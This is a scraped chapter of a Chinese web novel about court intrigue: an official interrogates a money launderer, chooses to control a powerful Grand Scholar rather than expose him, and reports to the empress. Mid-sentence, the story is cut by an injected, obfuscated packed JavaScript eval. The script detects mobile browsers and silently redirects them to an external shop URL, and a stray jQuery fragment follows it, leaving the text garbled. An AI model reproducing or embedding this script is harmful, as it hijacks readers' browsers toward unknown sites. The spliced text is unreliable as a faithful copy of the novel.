清查司偏厅之内,烛火摇曳,将钱四海那张惨白如纸的脸映照得如同刚从水里捞出来的死尸。
当“周大学士”这四个字从他那干裂的嘴唇中吐出时,整个房间的空气仿佛都被抽干了,只剩下一种令人窒息的死寂。
他本以为会看到这位年轻的活阎王脸上露出震惊、狂喜,或是任何一种正常人该有的情绪。
然而,张煜只是擦拭**的动作微微一顿。
他缓缓抬起头,那双深不见底的眼睛里,没有半分波澜,像一个顶级的风投家,在冷酷地评估一个刚刚被呈上来的、风险极高却回报惊人的项目。
他没有问“为什么”,也没有问“怎么可能”。
他只问了三个问题。
“第一,证据链完整吗?”
这声音平淡得像是在问今天的天气,却让钱四海的心脏猛地一缩。
“完……完整!”钱四海的声音嘶哑,充满了被彻底看穿的恐惧,“周大学士此人极为爱惜羽毛,所有脏事从不亲自经手。他利用书画买卖、古籍捐赠等‘雅贿’手段,将银两先转入傅正清名下,再由傅正清通过我‘四海通’的十几个空壳账户,反复拆分、腾挪,最后才变成‘干净’的银子,存入他在江南老家的几个秘密田庄。”
张煜点了点头,仿佛只是确认了一个无关紧要的数据点。
“第二,除了你,还有谁是核心经手人?”
“只有……只有我手下最信任的三个账房先生,”钱四海毫不犹豫地出卖了自己最后的班底,“账本……账本我都带来了!”
张煜的目光,终于落在了他身上,那眼神平静,却仿佛能洞穿他灵魂深处最阴暗的角落。
“最后一个问题。他贪的钱,最后流向了哪里?”
钱四海浑身剧震!
他看着眼前这个将滔天罪行完全数据化、工具化的年轻人,终于彻骨地明白了,自己面对的究竟是怎样一个怪物。
“大部分……大部分都用来结交、资助那些自命清高的寒门言官了。”钱四海艰难地吞咽着口水,吐出了那个最核心的秘密,“他……他才是清流那张大网背后,真正的织网人。”
张煜听完,脸上终于露出了一丝表情。
那不是兴奋,而是一种猎人发现了一片比预想中更肥沃的猎场时,那种冰冷的、充满了愉悦的笑意。
他心中,已给这个秘密打上了价签。
他挥了挥手,示意早已等候在侧的“秃鹫”队员,将早已吓得瘫软如泥的钱四海带下去“休息”。
老金忍不住上前一步,压低声音,语气中难掩激动:“大人,铁证如山!是否要立刻将此物呈送宫中?只要扳倒周大学士,整个清流便群龙无首,再也无人能与您为敌了!”
张煜却摇了摇头,他缓缓走到窗边,看着外面那轮刚刚从地平线上升起的、带着血色的朝阳,轻声说道:“老金,你错了。”
“周大学士是清流这头猛虎的头领,杀了他,群虎无首,会陷入疯狂,见人就咬,后患无穷。”
他转过身,那双深不见底的眼睛里,闪烁着令人不寒而栗的精光。
“但如果我们不杀他,而是给他戴上项圈,让他继续当虎王呢?”
老金听得目瞪口呆,只觉得一股寒气从脚底板直冲天灵盖。
张煜随即下达了对“四海通”的改组命令,他签署了“逆产清查司”的第一号令:原“四海通”总号,即日起改组为“皇家信贷京城总号”,所有原掌柜、伙计,经审查后留用。
“至于钱四海……”张煜的嘴角,勾起了一抹冰冷的弧度,“任命他为‘皇家信贷总号副提领’,负责整理旧账、联络旧部。”
半个时辰后,当那份盖着朱红大印的任命文书送到钱四海手中时,这位在地下世界呼风唤雨了三十年的枭雄,百感交集。
他知道,自己从一个地下王者,彻底沦为了一条被拴上链子的狗。
但他,活下来了。
次日,张煜入宫面圣。
他向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707669|189214||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女帝呈上了一份完美的报告:王家逆产初步估值超过国库三年税收;京城地下金融网络已全盘接收,改组后的“皇家信贷”,能让朝廷每年增收数百万两。
他将此举描绘成一个“以商治商”,将灰色地带阳光化、合法化,最终利国利民的伟大创举。
女帝龙心大悦,御座之上,凤目含笑。
但她看着下方那个滴水不漏的年轻人,心中那根名为“猜忌”的弦,却被轻轻拨动了。
她不动声色地问道,语气随意得像是在闲聊家常:“此事干系重大,朝中非议想必不少吧?清流那边,没有异议吗?朕记得,周大学士最是反对朝廷与民争利。”
张煜微微一笑,躬身答道:“陛下圣明。臣也正为此事烦忧。不过巧的是,就在臣入宫前,收到了周大学士的请柬,邀臣明日过府一叙,说是要与臣探讨一下‘金融’与‘民生’的辩证关系。”
他缓缓抬起头,直视着女帝那双深不见底的眼眸,语气平静,却意味深长。
“臣想,经过与周大学士的‘深入交流’,朝中的非议之声,应该会少很多。”
女帝凤目微眯,她瞬间明白了什么,却没有点破。
君臣二人之间,一种新的、更加危险的默契与猜忌,已然形成。
当朝次辅,周大学士府邸。
这位名满天下的大儒刚刚挥毫泼墨,写下“正大光明”四个大字,气势磅礴,力透纸背。
一名最得意的门生前来报告,说张煜已经接下了明日的请柬。
周大学士放下笔,捻着花白的胡须,脸上露出了长辈对晚辈的期许与自信。
“孺子可教。”他抚须微笑道,“此子虽手段酷烈,但终究年轻,锋芒太露。待老夫明日以圣贤之道点化于他,或可将其引入正途,为朝廷所用,免得他误入歧途,成为下一个王相。”
他看着自己笔下那四个字,眼中充满了对自身道德与智慧的绝对自信,与他即将到来的命运,形成了最剧烈的讽刺。